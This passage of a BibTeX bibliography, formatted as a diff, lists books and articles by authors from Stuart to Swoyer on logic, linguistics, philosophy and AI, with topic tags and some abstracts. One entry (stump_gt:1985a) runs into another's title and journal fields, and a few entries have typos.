Regular Expressions and Multi-Agent Plans}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {161--187}, + address = {Los Altos, California}, + contentnote = {The idea is to develop a logic allowing concurrent + actions that has good computational properties.}, + topic = {action-formalisms;concurrent-actions;} + } + +@book{ stuart_r:1996a, + author = {Rory Stuart}, + title = {The Design of Virtual Environments}, + publisher = {New York: McGraw-Hill}, + year = {1996}, + address = {New}, + ISBN = {0070632995 (h)}, + topic = {virtual-reality;} + } + +@book{ stubbs:1976a, + author = {Michael Stubbs}, + title = {Language, Schools and Classrooms}, + publisher = {Methuen}, + year = {1976}, + address = {London}, + ISBN = {0416315900}, + topic = {classroom-language;} + } + +@book{ stubbs:1980a, + author = {Michael Stubbs}, + title = {Language and Literacy : The Sociolinguistics of Reading And + Writing}, + publisher = {Routledge and Kegan Paul}, + year = {1980}, + address = {London}, + ISBN = {0710004265}, + topic = {sociolinguistics;reading;writing;} + } + +@book{ stubbs:1983a, + author = {Michael Stubbs}, + title = {Discourse Analysis : The Sociolinguistic Analysis of Natural + Language}, + address = {Oxford}, + publisher = {Blackwell Publishers}, + year = {1983}, + ISBN = {0631103813}, + topic = {discourse-analysis;} + } + +@book{ stubbs:1996a, + author = {Michael Stubbs}, + title = {Text and Corpus Analysis: Computer-Assisted Studies of + Language and Culture}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + ISBN = {0631195114}, + topic = {text-linguistics;language-and-culture;corpus-linguistics;} + } + +@incollection{ stuber:1998a, + author = {J. Stuber}, + title = {Superposition Theorem Proving for Commutsative + Rings}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@article{ stuckardt:2001a, + author = {Roland Stuckardt}, + title = {Design and Enhanced Evaluation of a Robust Anaphora + Resolution Algorithm}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {4}, + pages = {479--506}, + topic = {anaphora-resolution;} + } + +@article{ stucky:1989a, + author = {Susan U. Stucky}, + title = {The Situated Processing of Situated Language}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {3}, + pages = {347--357}, + topic = {context;nl-processing;} + } + +@article{ stump:1984a, + author = {Gregory Stump}, + title = {Two Approaches to Predictive Indeterminacy}, + journal = {Linguistics}, + year = {1984}, + volume = {22}, + pages = {811--829}, + missinginfo = {number}, + topic = {phonology;} + } + +@incollection{ stump_e-fischer_jm:2000a, + author = {Eleonore Stump and John Martin Fischer}, + title = {Transfer Principles and Moral Responsibility}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {47--55}, + address = {Oxford}, + topic = {freedom;volition;} + } + +@unpublished{ stump_gt:1978a, + author = {Gregory T. Stump}, + title = {An Interpretive Approach to Common-Noun Anaphora}, + year = {1978}, + note = {Unpublished manuscript, the Ohio State University.}, + topic = {anaphora;} + } + +@article{ stump_gt:1981a, + author = {Gregory T. Stump}, + title = {The Interpretation of Frequency Adjectives}, + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {2}, + pages = {221--257}, + topic = {nl-semantics;semantics-of-frequency-adjectives; + adjectives;temporal-logic;} + } + +@book{ stump_gt:1985a, + author = {Gregory T. Stump}, + title = {The Semantic Variability of Absolute Constructions}, + publisher = {D. Reidel Publishing Co.}, + year = {1985}, + address = {Dordrecht}, + title = {Diagnosing Tree-Structured Systems}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {127}, + number = {1}, + pages = {1--29}, + topic = {diagnosis;model-based-reasoning;} + } + +@article{ sturm:1997a, + author = {Holger Sturm}, + title = {Review of {\it First Steps in Modal Logic}, by' + {S}ally {P}opkorn}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {1}, + pages = {105--106}, + topic = {modal-logic;} + } + +@article{ sturm:2000a, + author = {Holger Sturm}, + title = {Elementary Classes in Basic Modal Logic}, + journal = {Studia Logica}, + year = {2000}, + volume = {59}, + number = {2}, + pages = {193--213}, + topic = {modal-logic;model-theory;} + } + +@article{ sturm-wolter:2001a, + author = {Holger Sturm and Frank Wolter}, + title = {First-Order Expressivity for {S5}-Models: Modal + Versus Two-Sorted Languages}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {6}, + pages = {571--591}, + topic = {modal-logic;} + } + +@inproceedings{ subrahmanian_vs:1999a, + author = {V.S. Subrahmanian}, + title = {Interactive {M}aryland Platform for Agents Collaborating + Together}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {cooperation;artificial-societies;} + } + +@incollection{ subramanian_d-woodfill:1989a, + author = {Devika Subramanian and John Woodfill}, + title = {Making Situation Calculus Indexical}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {467--474}, + address = {San Mateo, California}, + topic = {kr;context;situation-calculus;planning-formalisms;indexicals; + kr-course;} + } + +@article{ subramanian_d-etal:1997a, + author = {Devika Subramanian and Russell Greiner and Judea Pearl}, + title = {The Relevance of Relevance (Editorial)}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {1--5}, + topic = {relevance;} + } + +@incollection{ sucar-etal:1991a, + author = {L. Enrique Sucar and Duncan F. Gillies and Donald A. Gillies}, + title = {Handling Uncertainty in Knowledge-Based Computer Vision}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {328--332}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;computer-vision;} + } + +@article{ sucar-etal:1993a, + author = {L. Enrique Sucar and Duncan F. Gillies and Duncan A. + Gillies}, + title = {Objective Probabilities in Expert Systems}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {2}, + pages = {187--208}, + topic = {probabilistic-reasoning;expert-systems;} + } + +@article{ suchenek:2000a, + author = {Marek A. Suchenek}, + title = {Review of {\it Nonmonotonic Reasoning}, by {G}rigoris + {A}ntoniou}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {484--489}, + xref = {Review of antoniou:1997a.}, + topic = {default-logic;autoepistemic-logic;circumscription; + nonmonotonic-reasoning;nonmonotonic-logic;} + } + +@book{ suchman:1987a, + author = {L.A. Suchman}, + title = {Plans and Situated Action: The Problem of + Human-Machine Interaction}, + publisher = {Cambridge University Press}, + year = {1987}, + address = {Cambridge, England}, + topic = {HCI;} + } + +@book{ sudnow:1972a, + editor = {D. Sudnow}, + title = {Studies in Social Interaction}, + publisher = {Free Press}, + year = {1972}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {ethnomethodology;sociolinguistics;} + } + +@article{ suermondt-cooper:1991a, + author = {H. Jacques Suermondt and Gregory F. Cooper}, + title = {Initialization For the Method of Conditioning in {B}ayesian + Belief Networks}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {1}, + pages = {83--94}, + topic = {Bayesian-networks;conditioning-methods;} + } + +@article{ suganuma:1991a, + author = {Yoshinori Suganuma}, + title = {Learning Structures of Visual Patterns from Single + Instances}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {1}, + pages = {1--36}, + topic = {machine-learning;computer-vision;structure-learning;} + } + +@article{ sugihara:1979a, + author = {Kokichi Sugihara}, + title = {Range-Data Analysis Guided by a Junction Dictionary}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {12}, + number = {1}, + pages = {41--69}, + acontentnote = {Abstract: + A knowledge-guided system for the analysis of range data about + three-dimensional scenes with planar and/or curved objects is + presented. Inputs to the system are range data originated with + real scenes, and outputs are the concise descriptions (i.e., + organized structures of vertices, edges and faces) of objects, + which are useful for object identification and machine + manipulation. A ``junction dictionary'' is constructed to + represent the general knowledge about the physical nature of the + three-dimensional objects world, and the system uses the + dictionary for the feature extraction and the feature + organization. At each step of the analysis the system consults + the dictionary to predict positions, orientations and physical + types of missing edges. Those predictions enable the system to + decide where and what kind of edges to search for as well as to + decide how to organize the extracted features into a reasonable + description. Experiments show satisfactory system performance. + } , + topic = {computer-vision;spatial-reasoning;range-data; + shape-recognition;three-D-reconstruction;} + } + +@article{ sugihara:1984a, + author = {Kokichi Sugihara}, + title = {An Algebraic Approach to Shape-from-Image Problems}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {1}, + pages = {59--95}, + acontentnote = {Abstract: + This paper presents a new method for recovering + three-dimensional shapes of polyhedral objects from their + single-view images. The problem of recovery is formulated in a + constrained optimization problem, in which the constraints + reflect the assumption that the scene is composed of polyhedral + objects, and the objective function to be minimized is a + weighted sum of quadric errors of surface information such as + shading and texture. For practical purpose it is decomposed + into the two more tractable problems: a linear programming + problem and an unconstrained optimization problem. In the + present method the global constraints placed by the polyhedron + assumption are represented in terms of linear algebra, whereas + similar constraints have usually been represented in terms of a + gradient space. Moreover, superstrictness of the constraints + can be circumvented by a new concept `position-free incidence + structure'. For this reason the present method has several + advantages: it can recover the polyhedral shape even if image + data are incorrect due to vertex-position errors, it can deal + with perspective projection as well as orthographic projection, + the number of variables in the optimization problem is very + small (three or a little greater than three), and any kinds of + surface information can be incorporated in a unifying manner. + } , + topic = {computer-vision;shape-recognition;linear-programming; + shape-recognition;three-D-reconstruction; + reasoning-about-perspective;} + } + +@article{ sullivan:2000a, + author = {Peter M. Sullivan}, + title = {Review of {\it Frege: Importance and Legacy}, by + {M}atthias {S}chirn}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {4}, + pages = {648--652}, + xref = {Review of: schirn:1996a}, + topic = {Frege;} + } + +@article{ sullivan_d:1991a, + author = {David Sullivan}, + title = {Frege on the Cognition of Objects}, + journal = {Philosophical Topics}, + year = {1991}, + volume = {19}, + number = {2}, + pages = {245--268}, + topic = {Frege;} + } + +@book{ sullivan_jw-tyler_sw:1991a, + editor = {Joseph W. Sullivan and Sherman W. Tyler}, + title = {Intelligent User Interfaces}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1991}, + address = {New}, + ISBN = {0201503050}, + topic = {HCI;} + } + +@article{ sullivan_p:1992a, + author = {Peter Sullivan}, + title = {The Functional Model of Sentential Complexity}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {1}, + pages = {91--108}, + topic = {Frege;foundations-of-semantics;} + } + +@article{ sumi-etal:1997a, + author = {Yasuyuki Sumi and Koichi Hori and Setsuo Ohsuga}, + title = {Computer-Aided Thinking by Mapping Text-Objects into + Metric Spaces}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {1}, + pages = {71--84}, + acontentnote = {Abstract: + This paper presents a system for computer-aided thinking. We + propose the idea of reflecting the mental world indirectly into + a metric space to support such human thinking activities as + externalizing and forming new ideas. We use a method that maps + text-objects into metric spaces for visualizing a user's thought + space structure. Text-objects imply fragments of a user's idea, + which have several keywords given by him/her. Spaces composed of + text-objects are configured in the way "the higher the mutual + relevance between a pair of text-objects is, the closer the + text-objects are mapped". The relevance values among + text-objects are calculated due to co-occurrence of their + keywords. Results of experiments with our implemented system, + named CAT1 (computer-aided thinking, version 1), show that users + of the system can get effective stimuli for further thinking in + creative concept formation. The paper also discusses the + potential application of CAT1 to collaborative work by groups of + people. } , + topic = {concept-formation;visualization;} + } + +@inproceedings{ sun:1995a, + author = {Ron Sun}, + title = {A Microfeature Based Approach Towards Metaphor + Interpretation}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {424--429}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {metaphor;pragmatics;} + } + +@article{ sun_r:1995b, + author = {Ron Sun}, + title = {Robust Reasoning: Integrating Rule-Based + and Similarity-Based Reasoning}, + Journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {2}, + pages = {241--295}, + acontentnote = {Abstract: + The paper attempts to account for common patterns in commonsense + reasoning through integrating rule-based reasoning and + similarity-based reasoning as embodied in connectionist models. + Reasoning examples are analyzed and a diverse range of patterns + is identified. A principled synthesis based on simple rules and + similarities is performed, which unifies these patterns that + were before difficult to be accounted for without specialized + mechanisms individually. A two-level connectionist architecture + with dual representations is proposed as a computational + mechanism for carrying out the theory. It is shown in detail how + the common patterns can be generated by this mechanism. Finally, + it is argued that the brittleness problem of rule-based models + can be remedied in a principled way, with the theory proposed + here. This work demonstrates that combining rules and + similarities can result in more robust reasoning models, and + many seemingly disparate patterns of commonsense reasoning are + actually different manifestations of the same underlying process + and can be generated using the integrated architecture, which + captures the underlying process to a large extent. } , + topic = {connectionist-models;common-sense-reasoning;} + } + +@article{ sundholm:1983a, + author = {G\"oran Sundholm}, + title = {Constructions, Proofs and the Meaning of the Logical + Constants}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {2}, + pages = {151--172}, + topic = {constructive-mathematics;mathematical-constructions;proof-theory; + logical-constants;} + } + +@incollection{ sundholm:1983b, + author = {G\o"ran Sundholm}, + title = {Systems of Deduction}, + booktitle = {Handbook of Philosophical Logic, Volume {I}: + Elements of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1983}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {133--188}, + address = {Dordrecht}, + topic = {proof-theory;} + } + +@incollection{ sundholm:1986a, + author = {G\"oran Sundholm}, + title = {Proof Theory and Meaning}, + booktitle = {Handbook of Philosophical Logic, Volume {III}: + Alternatives in Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {471--506}, + address = {Dordrecht}, + topic = {proof-theory;proof-theoretic-semantics;} + } + +@article{ sundholm:1997a, + author = {G\"oran Sundholm}, + title = {Implicit Epistemic Aspects of Constructive Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {2}, + pages = {191--212}, + topic = {intuitionistic-logic;constructive-mathematics; + foundations-of-mathematics;} + } + +@article{ suner:1993a, + author = {Margarita Su\~ner}, + title = {Indexicals and Deixis}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {1}, + pages = {45--77}, + topic = {indexicals;demonstratives;} + } + +@book{ suppes:1957a, + author = {Patrick Suppes}, + title = {Introduction to Logic}, + publisher = {Van Nostrand}, + year = {1957}, + address = {Princeton, New Jersey}, + xref = {Review: church_a:1957a.}, + topic = {logic-intro;} + } + +@incollection{ suppes-zinnes:1963a, + author = {Patrick Suppes and J. Zinnes}, + title = {Basic Measurement Theory}, + booktitle = {Handbook of Mathematical Psychology, Volume 1}, + publisher = {John Wiley and Sons}, + year = {1963}, + editor = {R. Duncan Luce and Robert Bush and Eugene Galanter}, + address = {New York}, + missinginfo = {pages,author's 1st name}, + topic = {measurement-theory;} + } + +@book{ suppes:1970a, + author = {Patrick Suppes}, + title = {A Probabilistic Theory of Causation}, + publisher = {North-Holland}, + year = {1970}, + address = {Amsterdam}, + topic = {causality;} + } + +@techreport{ suppes:1971a, + author = {Patrick Suppes}, + title = {Semantics of Context-Free Fragments of Natural Languages}, + institution = {Institute for Mathematical Studies in the Social + Sciences}, + number = {171}, + year = {1971}, + address = {Stanford, California}, + topic = {nl-semantics;context-free-grammars;} + } + +@incollection{ suppes:1972a, + author = {Patrick Suppes}, + title = {Probabilistic Grammars for Natural Languages}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {741--762}, + address = {Dordrecht}, + topic = {grammar-formalisms;nl-statistics;} + } + +@article{ suppes:1973a, + author = {Patrick Suppes}, + title = {Congruence of Meaning}, + journal = {Proceedings and Addresses of the American Philosophical + Association}, + year = {1973}, + pages = {21--38}, + xref = {Superseded by Part I of suppes:1991a.}, + topic = {speaker-meaning;pragmatics;} + } + +@article{ suppes:1976a, + author = {Patrick Suppes}, + title = {Elimination of Quantifiers in the Semantics of Natural + Language by Use of Extended Relation Algebras}, + journal = {Revue Internationale de Philosophie}, + year = {1976}, + volume = {30}, + pages = {243--259}, + missinginfo = {number}, + topic = {combinatory-logic;nl-semantics;cylindrical-algebra;} + } + +@article{ suppes-zanotti:1976a, + author = {Patrick Suppes Mario Zanotti}, + title = {Necessary and Sufficient Conditions for the Existence + of a Unique Measure Strictly Agreeing with a Qualitative + Probability Ordering}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {3}, + pages = {431--438}, + topic = {measurement-theory;qualitative-probability;} + } + +@unpublished{ suppes-macken:1977a, + author = {Patrick Suppes and Elizabeth Macken}, + title = {Steps Towards a Variable-Free Semantics of Attributive + Adjectives}, + year = {1977}, + note = {Unpublished manuscript, Stanford University.}, + topic = {combinatory-logic;nl-semantics;adjectives;predication;} + } + +@incollection{ suppes:1980a, + author = {Patrick Suppes}, + title = {Variable-Free Semantics with Remarks on Procedural Extensions}, + booktitle = {Language, Mind, and Brain}, + publisher = {Lawrence Erbaum Associates}, + year = {1982}, + editor = {Thomas W. Simon and Robert J. Scholes}, + address = {Hillsdale, N.J.}, + missinginfo = {pages}, + topic = {combinatory-logic;nl-semantics;} + } + +@incollection{ suppes:1984a, + author = {Patrick Suppes}, + title = {Conflicting Intuitions about Causality}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {151--168}, + address = {Minneapolis}, + topic = {causality;} + } + +@article{ suppes:1984b, + author = {Patrick Suppes}, + title = {A Puzzle about Responses and Congruences of Meaning}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {1}, + pages = {39--50}, + topic = {intensionality;hyperintensionality;foundations-of-semantics;} + } + +@incollection{ suppes:1986a, + author = {Patrick Suppes}, + title = {The Primacy of Utterer's Meaning}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {109--129}, + address = {Oxford}, + xref = {Chapter 4 of suppes:1991a.}, + contentnote = {Defense of Grice's account of meaning against misc + criticisms, including one of Chomsky's.}, + topic = {philosophy-of-language;speaker-meaning;Grice;pragmatics;} + } + +@book{ suppes:1991a, + author = {Patrick Suppes}, + title = {Language for Humans and Robots}, + publisher = {Blackwell Publishers}, + year = {1991}, + address = {Oxford}, + contentnote = {TC: Part I: Congruence of Meaning + PS' generalization of synonymy. + Part II: Psychology of children's language + Part III: Variable-free semantics + Part IV: Robots + } , + topic = {philosophy-of-language;speaker-meaning;Grice; + psycholinguistics;nl-semantics; + machine-language-learning;pragmatics;} + } + +@article{ suppes-etal:1996a, + author = {Patrick Suppes and Mochael B\"ottner and Lin Liang}, + title = {Machine Learning Comprehension Grammars for Ten + Languages}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {3}, + pages = {329--350}, + topic = {machine-learning;language-learning;} + } + +@incollection{ suppes-etal:1998a, + author = {Patrick Suppes and Michael B\"ottner and Lin Liang}, + title = {Machine Learning of Physics Word Problems}, + booktitle = {Computing Natural Language}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Atocha Aliseda and Rob {van Glabbeek} and Dag Westerst{\aa}hl}, + pages = {151--164}, + address = {Stanford, California}, + topic = {machine-learning;language-learning;} + } + +@techreport{ surav-akman:1995a, + author = {Mehmet Surav and Varol Akman}, + title = {Modeling Context with Situations}, + institution = {Laboratoire Formes et Intelligence Artificielle, + Institut Blaise Pascal, Universit\'{e} Paris VI}, + number = {LAFORIA 95/11}, + year = {1995}, + address = {Paris}, + note = {Working Notes of the International Joint Conference on + {AI} 1995 Workshop on Modeling Context in Knowledge + Representation and Reasoning.}, + topic = {context;situation-theory;} + } + +@article{ surendonk:1997a, + author = {Timothy J. Surendonk}, + title = {Canonicity for for Intensional Logics Without Iterative + Axioms}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {4}, + pages = {391--409}, + topic = {modal-logic;completeness-proofs;neighborhood-semantics;} + } + +@incollection{ surendonk:1998a, + author = {Timothy J. Surendonk}, + title = {On Isomorphisms between Canonical Frames}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {249--268}, + address = {Stanford, California}, + topic = {modal-logic;} + } + +@article{ surendonk:2001a, + author = {Timothy J. Surendonk}, + title = {Canonicity for Intensional Logics with Even Axioms}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {3}, + pages = {1141--1156}, + topic = {modal-logic;} + } + +@article{ suri-etal:1999a, + author = {Linda Z. Suri and Kathleen F. McCoy and Jonathan + D. DeCristofaro}, + title = {A Methodology for Extending Focusing Frameworks}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {2}, + pages = {173--194}, + topic = {centering; anaphora-resolution;nlp-algorithms;} + } + +@book{ sussman:1975a, + author = {Gerald Jay Sussman}, + title = {A Computer Model of Skill Acquisition}, + publisher = {American Elsevier Publishing Co.}, + year = {1975}, + address = {New York}, + ISBN = {0444001638}, + topic = {skill-acquisition;cognitive-modeling;} + } + +@article{ sussman-steele_gl:1980a, + author = {Gerald Jay Sussman and Guy Lewis {Steele Jr.}}, + title = {{CONSTRAINTS}---A Language for Expressing + Almost-Hierarchical Descriptions}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {14}, + number = {1}, + pages = {1--39}, + acontentnote = {Abstract: + We present an interactive system organized around networks of + constraints rather than the programs which manipulate them. We + describe a language of hierarchical constraint networks. We + describe one method of deriving useful consequences of a set of + constraints which we call propagation. Dependency analysis is + used to spot and track down inconsistent subsets of a constraint + set. Propagation of constraints is most flexible and useful + when coupled with the ability to perform symbolic manipulations + on algebraic expressions. Such manipulations are in turn best + expressed as alterations or augmentations of the constraint + network. + Almost-Hierarchical Constraint Networks can be constructed to + represent the multiple viewpoints used by engineers in the + synthesis and analysis of electrical networks. These multiple + viewpoints are used in terminal equivalence and power arguments + to reduce the apparent synergy in a circuit so that it can be + attacked algebraically. } , + topic = {constraint-networks;} + } + +@article{ sutcliffe:1991a, + author = {Geoff Sutcliffe}, + title = {Compulsory Reduction in Linear Derivation Systems}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {1}, + pages = {131--132}, + topic = {linear-derivation-systems;} + } + +@article{ sutcliffe-suttner:2001a, + author = {Geoff Sutcliffe and Christian Suttner}, + title = {Evaluating General Purpose Automated Theorem Proving Systems}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {131}, + number = {1--2}, + pages = {39--54}, + topic = {theorem-proving;AI-system-evaluation;} + } + +@inproceedings{ suthers:1990a, + author = {Daniel D. Suthers}, + title = {Reassessing Rhetorical Abstractions and Planning + Mechanisms}, + booktitle = {Fifth International Workshop on Natural Language + Generation, Pittsburgh, Pennsylvania}, + year = {1990}, + pages = {137--143}, + topic = {nl-generation;discourse-planning;pragmatics;} +} + +@article{ sutton-etal:1999a, + author = {Richard S. Sutton and Doina Precup and Satinder Singh}, + title = {Between {MDP}s and semi-{MDP}s: A Framework for Temporal + Abstraction in Reinforcement Learning}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {112}, + number = {1--2}, + pages = {181--211}, + acontentnote = {Abstract: + Learning, planning, and representing knowledge at multiple + levels of temporal abstraction are key, longstanding challenges + for AI. In this paper we consider how these challenges can be + addressed within the mathematical framework of reinforcement + learning and Markov decision processes (MDPs). We extend the + usual notion of action in this framework to include options + ---closed-loop policies for taking action over a period of + time. Examples of options include picking up an object, going + to lunch, and traveling to a distant city, as well as primitive + actions such as muscle twitches and joint torques. Overall, we + show that options enable temporally abstract knowledge and + action to be included in the reinforcement learning framework in + a natural and general way. In particular, we show that options + may be used interchangeably with primitive actions in planning + methods such as dynamic programming and in learning methods such + as Q-learning. Formally, a set of options defined over an MDP + constitutes a semi-Markov decision process (SMDP), and the + theory of SMDPs provides the foundation for the theory of + options. However, the most interesting issues concern the + interplay between the underlying MDP and the SMDP and are thus + beyond SMDP theory. We present results for three such cases: (1) + we show that the results of planning with options can be used + during execution to interrupt options and thereby perform even + better than planned, (2) we introduce new intra-option methods + that are able to learn about an option from fragments of its + execution, and (3) we propose a notion of subgoal that can be + used to improve the options themselves. All of these results + have precursors in the existing literature; the contribution of + this paper is to establish them in a simpler and more general + setting with fewer changes to the existing reinforcement + learning framework. In particular, we show that these results + can be obtained without committing to (or ruling out) any + particular approach to state abstraction, hierarchy, function + approximation, or the macro-utility problem. + } , + topic = {reinforcement-learning;Markov-decision-processes; + hierarchical-planning;temporal-reasoning;abstraction;} + } + +@article{ suzuki_ny:1997a, + author = {Nobu-Yuki Suzuki}, + title = {Kripke Frame with Graded Accessibility and Fuzzy + Possible World Semantics}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {2}, + pages = {249--269}, + topic = {modal-logic;fuzzy-logic;} + } + +@article{ suzuki_y-etal:1998a, + author = {Yasuhito Suzuki and Frank Wolter and Michael + Zakharyaschev}, + title = {Speaking about Transitive Frames in Propositional + Languages}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {3}, + pages = {317--339}, + topic = {modal-logic;} + } + +@book{ svartvik-quirk:1980a, + editor = {Jan Svartvik and Randolph Quirk}, + title = {A Corpus of {E}nglish Conversation}, + publisher = {C.W.K. Gleerup}, + year = {1980}, + address = {Lund}, + ISBN = {9140047407}, + topic = {corpus;} + } + +@book{ swain_m:1970a, + editor = {Marshall Swain}, + title = {Induction, Acceptance, and Rational Belief}, + publisher = {D. Reidel Publishing Co.}, + year = {1970}, + address = {Dordrecht}, + topic = {induction;foundations-of-probability;} + } + +@book{ swan_oe:1983a, + author = {Oscar E. Swan}, + edition = {2}, + title = {A Concise Grammar of {P}olish}, + publisher = {University Press of America}, + year = {1983}, + address = {Washington, D.C.}, + ISBN = {0819130176, 0819130184 (pbk.).}, + topic = {Polish-language;reference-grammars;} + } + +@article{ swanson-smallheiser:1997a, + author = {Don R. Swanson and Neil R. Smallheiser}, + title = {An Interactive System for Finding Complementary + Literatures: A Stimulus to Scientific Discovery}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {2}, + pages = {183--203}, + topic = {intelligent-information-retrieval;} + } + +@article{ swartout:1983a, + author = {William Swartout}, + title = {{XPLAIN}: A System for Creating and Explaining Expert + Consulting Systems}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {21}, + number = {3}, + pages = {285--325}, + topic = {kr;explanation;kr-course;} + } + +@article{ sweet_a:1999a, + author = {Albert Sweet}, + title = {Local Semantic Closure}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {5}, + pages = {509--528}, + topic = {semantic-paradoxes;metalinguistic-hierarchies;} + } + +@book{ sweet_h:1898a, + author = {Henry Sweet}, + title = {New {E}nglish Grammar, Part {II}}, + publisher = {Oxford University Press}, + year = {1898}, + address = {Oxford}, + topic = {descriptive-grammar;English-language; + linguistics-classic;} + } + +@book{ swift_j:1963a, + author = {Jonathan Swift}, + title = {Polite Conversation}, + publisher = {A. Deutsch}, + year = {1963}, + address = {London}, + note = {With introd., notes, and extensive + commentary by Eric Partridge. Published in 1788 under title: A + complete collection of gentrel + and Ingenious conversation, according to the most polite mode and + method now used at court, and in the best companies of England.}, + topic = {politeness;conversation;} + } + +@inproceedings{ swift_t-etal:1994a, + author = {Terrance Swift and C. Henderson and R. Holberger and J. Murphey + and E. Neham}, + title = {CCTIS: An Expert Transaction Processing System}, + booktitle = {Proceedings of the Sixth Conference on Industrial + Applications of Artificial Intelligence}, + year = {1994}, + pages = {131--140}, + missinginfo = {A's 1st names}, + topic = {expert-systems;kr;} + } + +@incollection{ swinburne:1986a, + author = {Richard Swinburne}, + title = {The Indeterminism of Human Actions}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {431--449}, + address = {Minneapolis}, + topic = {action;(in)determinism;} + } + +@article{ swirydowicz:1999a, + author = {Kazimierz \'Swirydowicz}, + title = {Review of {\it Being Good and Being Logical: + Philosophical Groundwork for a New Deontic Logic}, by {J}ames + {W}. {F}orrester}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {2}, + pages = {276--280}, + xref = {Review of: forrester:1996a.}, + topic = {deontic-logic;} + } + +@incollection{ swoyer:1984a, + author = {Chris Swoyer}, + title = {Causation and Identity}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {593--622}, + address = {Minneapolis}, + topic = {causality;personal-identity;identity;} + } + +@article{ swoyer:1991a, + author = {Chris Swoyer}, + title = {Structural Representation and Surrogative 